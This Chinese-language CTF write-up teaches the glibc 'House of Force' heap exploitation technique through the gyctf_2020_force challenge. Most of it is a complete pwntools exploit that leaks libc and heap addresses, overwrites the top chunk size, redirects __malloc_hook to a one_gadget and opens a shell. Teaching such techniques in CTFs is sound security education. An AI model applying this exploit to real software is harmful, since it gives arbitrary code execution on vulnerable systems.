一道题学习 House of force
本文来自“白帽子社区知识星球”
作者:Lee
首先说明一下House of force的利用条件:
1.能够通过堆溢出等方法控制到topchunk的size
2.分配的大小没有限制,即可以申请任意大小的堆块
3.能够泄露出堆地址(topchunk)
House of force 产生的原因: 在于 glibc 对 top chunk 的处理,进行堆分配时,如果所有空闲的块都无法 满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。若 top chunk 的 size 值是由 用户控制的任意的值且很大时 (如0xffffffffffffffff),可以使得 top chunk 指向我们期望的任何位置,这就 相当于一次任意地址写. 我们通过buu的一道例题来学习一下house of force.
64位程序,保护机制全开
IDA分析:
add()函数中没有对申请的大小进行判断,符合了第二个条件,注意到输入内容时,不管申请多大的堆 块,我们都只能写入0x50大小的内容,此时我们申请小于0x50的堆,就可以导致溢出,满足第一个条 件,可以看到程序把我们申请的堆地址给打印出来了,就可以算出topchunk地址,满足第三个条件。
1.申请一个很大的堆块,系统会调用libc下方的mmap分配,此时通过具体的偏移算出libc地址
2.通过溢出覆盖topchunk的size为0xffffffffffffffff,在通过算出topchunk和malloc_hook的偏移,劫持 malloc为one_gadget,
3.申请触发one_gadget
exp:
from pwn import *
elf = ELF('./gyctf_2020_force')
io = remote('node4.buuoj.cn',27332)
#io = process('./gyctf_2020_force')
#libc = elf.libc
libc = ELF('./libc-2.23.so')
context(log_level='debug')
def choice(c):
io.recvuntil('2:puts\n')
io.sendline(str(c))
def add(size,content):
choice(1)
io.recvuntil('size\n')
io.sendline(str(size))
io.recvuntil('t\n')
io.sendline(content)
#泄露libc
choice(1)
io.recvuntil('size\n')
io.sendline(str(0x200000))#申请一个很大的堆块,调用mmap分配
io.recvuntil('0x')
leak = int(io.recv(12),16)
success(hex(leak))
libc_base = leak+0x200ff0
success(hex(libc_base))
io.recvuntil('t\n')
io.sendline('AA')
#泄露堆地址
choice(1)
io.recvuntil('size\n')
io.sendline(str(0x18))
io.recvuntil('0x')
leak1 = int(io.recv(12),16)
success(hex(leak1))
heap_base = leak1-0x10
success(hex(heap_base))
io.recvuntil('t\n')
io.sendline('A'*0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF))
top_chunk = heap_base + 0x20
success(hex(top_chunk))
malloc_hook = libc_base + libc.sym['__malloc_hook']
success(hex(malloc_hook))
offset = malloc_hook - top_chunk
success(hex(offset))
one = [0x45216,0x4526a,0xf02a4,0xf1147]
add(offset-0x33,'A'*3)
one_gadget = libc_base + one[1]
success(hex(one_gadget))
realloc = libc_base + libc.sym['realloc']
success(hex(realloc))
add(0x20,'A'*0x8 + p64(one_gadget) + p64(realloc+0x10))
choice(1)
io.recvuntil('size\n')
io.sendline(str(0x18))
#gdb.attach(io)
io.interactive()
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼